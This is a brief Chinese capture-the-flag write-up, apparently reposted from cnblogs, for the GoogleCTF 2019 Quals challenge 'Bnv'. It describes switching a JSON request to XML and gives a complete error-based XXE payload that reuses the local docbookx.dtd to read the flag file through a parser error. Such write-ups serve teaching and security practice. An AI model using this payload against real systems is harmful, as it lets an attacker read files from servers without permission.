[GoogleCTF2019 Quals]Bnv 目标不能加载外部dtd,利用linux本身的dtd
作者:互联网
抓包发现传参json格式的数据,可以尝试xxe
先把content-type改为application/xml,再把json格式的数据改为xml格式的数据
最终poc:
<?xml version="1.0"?> <!DOCTYPE message[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>"> %eval; %error; '> %local_dtd; ]>
标签:xml,GoogleCTF2019,Quals,dtd,json,&#,x25,格式 来源: https://www.cnblogs.com/hackerone/p/16520517.html